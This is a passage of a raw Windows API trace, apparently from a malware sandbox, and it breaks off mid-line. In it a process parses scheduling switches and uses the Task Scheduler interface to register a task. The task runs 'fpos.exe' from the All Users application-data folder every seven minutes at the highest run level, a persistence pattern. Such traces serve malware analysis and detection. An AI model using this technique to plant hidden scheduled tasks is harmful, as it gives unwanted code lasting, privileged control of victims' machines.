(lpString="mo") returned 2 [0086.896] lstrlenW (lpString="mo") returned 2 [0086.896] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.896] lstrlenW (lpString="f") returned 1 [0086.896] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.896] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.896] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.896] lstrlenW (lpString="|mo|") returned 4 [0086.896] lstrlenW (lpString="|f|") returned 3 [0086.896] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0086.896] SetLastError (dwErrCode=0x490) [0086.896] lstrlenW (lpString="d") returned 1 [0086.896] lstrlenW (lpString="d") returned 1 [0086.896] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.896] lstrlenW (lpString="f") returned 1 [0086.896] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.896] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|d|") returned 3 [0086.896] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.896] lstrlenW (lpString="|d|") returned 3 [0086.896] lstrlenW (lpString="|f|") returned 3 [0086.896] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0086.896] SetLastError (dwErrCode=0x490) [0086.896] lstrlenW (lpString="m") returned 1 [0086.896] lstrlenW (lpString="m") returned 1 [0086.896] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.897] lstrlenW (lpString="f") returned 1 [0086.897] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.897] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|m|") returned 3 [0086.897] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.897] lstrlenW (lpString="|m|") returned 3 [0086.897] lstrlenW (lpString="|f|") returned 3 [0086.897] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0086.897] SetLastError (dwErrCode=0x490) [0086.897] lstrlenW (lpString="i") returned 1 [0086.897] lstrlenW (lpString="i") returned 1 [0086.897] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.897] lstrlenW (lpString="f") returned 1 [0086.897] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.897] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|i|") returned 3 [0086.897] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.897] lstrlenW (lpString="|i|") returned 3 [0086.897] lstrlenW (lpString="|f|") returned 3 [0086.897] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0086.897] SetLastError (dwErrCode=0x490) [0086.897] lstrlenW (lpString="tn") returned 2 [0086.897] lstrlenW (lpString="tn") returned 2 [0086.897] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.897] lstrlenW (lpString="f") returned 1 [0086.897] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.897] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.897] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.897] lstrlenW (lpString="|tn|") returned 4 [0086.897] lstrlenW (lpString="|f|") returned 3 [0086.897] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0086.897] SetLastError (dwErrCode=0x490) [0086.897] lstrlenW (lpString="tr") returned 2 [0086.898] lstrlenW (lpString="tr") returned 2 [0086.898] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.898] lstrlenW (lpString="f") returned 1 [0086.898] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.898] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.898] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.898] lstrlenW (lpString="|tr|") returned 4 [0086.898] lstrlenW (lpString="|f|") returned 3 [0086.898] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0086.898] SetLastError (dwErrCode=0x490) [0086.898] lstrlenW (lpString="st") returned 2 [0086.898] lstrlenW (lpString="st") returned 2 [0086.898] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.898] lstrlenW (lpString="f") returned 1 [0086.898] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.898] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|st|") returned 4 [0086.898] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.898] lstrlenW (lpString="|st|") returned 4 [0086.898] lstrlenW (lpString="|f|") returned 3 [0086.898] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0086.898] SetLastError (dwErrCode=0x490) [0086.898] lstrlenW (lpString="sd") returned 2 [0086.898] lstrlenW (lpString="sd") returned 2 [0086.898] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.898] lstrlenW (lpString="f") returned 1 [0086.898] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.898] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sd|") returned 4 [0086.898] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.898] lstrlenW (lpString="|sd|") returned 4 [0086.898] lstrlenW (lpString="|f|") returned 3 [0086.898] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0086.899] SetLastError (dwErrCode=0x490) [0086.899] lstrlenW (lpString="ed") returned 2 [0086.899] lstrlenW (lpString="ed") returned 2 [0086.899] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.899] lstrlenW (lpString="f") returned 1 [0086.899] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.899] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ed|") returned 4 [0086.899] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.899] lstrlenW (lpString="|ed|") returned 4 [0086.899] lstrlenW (lpString="|f|") returned 3 [0086.899] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0086.899] SetLastError (dwErrCode=0x490) [0086.899] lstrlenW (lpString="it") returned 2 [0086.899] lstrlenW (lpString="it") returned 2 [0086.899] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.899] lstrlenW (lpString="f") returned 1 [0086.899] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.899] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|it|") returned 4 [0086.899] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.899] lstrlenW (lpString="|it|") returned 4 [0086.899] lstrlenW (lpString="|f|") returned 3 [0086.899] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0086.899] SetLastError (dwErrCode=0x490) [0086.899] lstrlenW (lpString="et") returned 2 [0086.899] lstrlenW (lpString="et") returned 2 [0086.899] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.899] lstrlenW (lpString="f") returned 1 [0086.899] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.899] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|et|") returned 4 [0086.899] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.899] lstrlenW (lpString="|et|") returned 4 [0086.900] lstrlenW (lpString="|f|") returned 3 [0086.900] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0086.900] SetLastError (dwErrCode=0x490) [0086.900] lstrlenW (lpString="k") returned 1 [0087.025] lstrlenW (lpString="k") returned 1 [0087.025] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.025] lstrlenW (lpString="f") returned 1 [0087.025] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.025] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|k|") returned 3 [0087.025] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0087.025] lstrlenW (lpString="|k|") returned 3 [0087.025] lstrlenW (lpString="|f|") returned 3 [0087.025] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0087.025] SetLastError (dwErrCode=0x490) [0087.025] lstrlenW (lpString="du") returned 2 [0087.025] lstrlenW (lpString="du") returned 2 [0087.025] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.025] lstrlenW (lpString="f") returned 1 [0087.025] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.025] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|du|") returned 4 [0087.025] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0087.026] lstrlenW (lpString="|du|") returned 4 [0087.026] lstrlenW (lpString="|f|") returned 3 [0087.026] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0087.026] SetLastError (dwErrCode=0x490) [0087.026] lstrlenW (lpString="ri") returned 2 [0087.027] lstrlenW (lpString="ri") returned 2 [0087.027] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.027] lstrlenW (lpString="f") returned 1 [0087.027] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.027] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ri|") returned 4 [0087.027] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0087.027] lstrlenW (lpString="|ri|") returned 4 [0087.027] lstrlenW (lpString="|f|") returned 3 [0087.027] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0087.027] SetLastError (dwErrCode=0x490) [0087.028] lstrlenW (lpString="z") returned 1 [0087.028] lstrlenW (lpString="z") returned 1 [0087.028] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.028] lstrlenW (lpString="f") returned 1 [0087.028] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.028] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|z|") returned 3 [0087.028] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0087.028] lstrlenW (lpString="|z|") returned 3 [0087.028] lstrlenW (lpString="|f|") returned 3 [0087.028] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0087.028] SetLastError (dwErrCode=0x490) [0087.028] lstrlenW (lpString="f") returned 1 [0087.028] lstrlenW (lpString="f") returned 1 [0087.028] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.028] lstrlenW (lpString="f") returned 1 [0087.028] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.028] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0087.028] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0087.028] lstrlenW (lpString="|f|") returned 3 [0087.028] lstrlenW (lpString="|f|") returned 3 [0087.028] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0087.028] SetLastError (dwErrCode=0x0) [0087.028] SetLastError (dwErrCode=0x0) [0087.029] GetProcessHeap () returned 0xe0000 [0087.029] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfced0 [0087.029] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.029] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0087.029] lstrlenW (lpString="LIMITED") returned 7 [0087.029] GetProcessHeap () returned 0xe0000 [0087.029] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x10) returned 0xfd6c0 [0087.029] GetThreadLocale () returned 0x409 [0087.029] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0087.029] GetProcessHeap () returned 0xe0000 [0087.029] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcea0 [0087.029] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.029] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0087.029] lstrlenW (lpString="HIGHEST") returned 7 [0087.029] GetProcessHeap () returned 0xe0000 [0087.029] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x10) returned 0xfd6e0 [0087.029] GetThreadLocale () returned 0x409 [0087.029] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0087.030] GetProcessHeap () returned 0xe0000 [0087.030] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce70 [0087.030] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.030] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0087.030] lstrlenW (lpString="MINUTE") returned 6 [0087.030] GetProcessHeap () returned 0xe0000 [0087.030] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd700 [0087.030] GetThreadLocale () returned 0x409 [0087.030] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0087.030] SetLastError (dwErrCode=0x0) [0087.030] GetProcessHeap () returned 0xe0000 [0087.030] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x1fc) returned 0xfc4b0 [0087.030] GetProcessHeap () returned 0xe0000 [0087.030] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce40 [0087.030] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.030] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0087.030] lstrlenW (lpString="First") returned 5 [0087.030] GetProcessHeap () returned 0xe0000 [0087.030] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xc) returned 0xfd720 [0087.030] GetProcessHeap () returned 0xe0000 [0087.030] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce10 [0087.030] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.031] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0087.031] lstrlenW (lpString="Second") returned 6 [0087.031] GetProcessHeap () returned 0xe0000 [0087.031] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd740 [0087.031] GetProcessHeap () returned 0xe0000 [0087.031] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcde0 [0087.031] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.031] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0087.031] lstrlenW (lpString="Third") returned 5 [0087.031] GetProcessHeap () returned 0xe0000 [0087.031] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xc) returned 0xfd760 [0087.031] GetProcessHeap () returned 0xe0000 [0087.031] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcdb0 [0087.031] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.031] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0087.031] lstrlenW (lpString="Fourth") returned 6 [0087.031] GetProcessHeap () returned 0xe0000 [0087.031] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd780 [0087.031] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.031] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0087.031] lstrlenW (lpString="Last") returned 4 [0087.031] GetProcessHeap () returned 0xe0000 [0087.031] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xa) returned 0xfd7a0 [0087.031] lstrlenW (lpString="7") returned 1 [0087.031] _wtol (_String="7") returned 7 [0087.031] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.032] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0087.032] lstrlenW (lpString="First") returned 5 [0087.032] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.032] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0087.032] lstrlenW (lpString="Second") returned 6 [0087.032] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.032] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0087.032] lstrlenW (lpString="Third") returned 5 [0087.032] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.032] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0087.032] lstrlenW (lpString="Fourth") returned 6 [0087.032] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.032] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0087.032] lstrlenW (lpString="Last") returned 4 [0087.032] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc2a0, cchData=128 | out: lpLCData="0") returned 2 [0087.033] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.033] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0087.033] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd720) returned 1 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd720) returned 0xc [0087.033] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd720 | out: hHeap=0xe0000) returned 1 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x16) returned 0xfd720 [0087.033] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc2c0, cchData=128 | out: lpLCData="0") returned 2 [0087.033] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.033] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0087.033] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd740) returned 1 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd740) returned 0xe [0087.033] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd740 | out: hHeap=0xe0000) returned 1 [0087.033] GetProcessHeap () returned 0xe0000 [0087.033] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x16) returned 0xfd740 [0087.033] GetLocalTime (in: lpSystemTime=0xbc4f0 | out: lpSystemTime=0xbc4f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xb, wMilliseconds=0x189)) [0087.034] lstrlenW (lpString="") returned 0 [0087.034] GetLocalTime (in: lpSystemTime=0xbcda8 | out: lpSystemTime=0xbcda8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xb, wMilliseconds=0x189)) [0087.034] lstrlenW (lpString="") returned 0 [0087.034] lstrlenW (lpString="") returned 0 [0087.034] lstrlenW (lpString="") returned 0 [0087.034] lstrlenW (lpString="") returned 0 [0087.034] lstrlenW (lpString="7") returned 1 [0087.034] _wtol (_String="7") returned 7 [0087.034] lstrlenW (lpString="") returned 0 [0087.034] lstrlenW (lpString="") returned 0 [0087.034] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0087.058] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0087.194] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbcb70 | out: ppv=0xbcb70*=0x25dee0) returned 0x0 [0087.209] TaskScheduler:ITaskService:Connect (This=0x25dee0, serverName=0xbcc50*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbcc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbcc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbcbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0087.378] TaskScheduler:IUnknown:AddRef (This=0x25dee0) returned 0x2 [0087.378] TaskScheduler:ITaskService:GetFolder (in: This=0x25dee0, Path=0x0, ppFolder=0xbcd08 | out: ppFolder=0xbcd08*=0x377d80) returned 0x0 [0087.381] TaskScheduler:ITaskService:NewTask (in: This=0x25dee0, flags=0x0, ppDefinition=0xbcd00 | out: ppDefinition=0xbcd00*=0x377dd0) returned 0x0 [0087.381] ITaskDefinition:get_Actions (in: This=0x377dd0, ppActions=0xbcc80 | out: ppActions=0xbcc80*=0x377e90) returned 0x0 [0087.381] IActionCollection:Create (in: This=0x377e90, Type=0, ppAction=0xbcca0 | out: ppAction=0xbcca0*=0x376620) returned 0x0 [0087.381] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0087.381] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0087.381] lstrlenW (lpString=" ") returned 1 [0087.381] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0087.382] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0087.382] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0087.383] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0087.383] StrChrW (lpStart=" ", 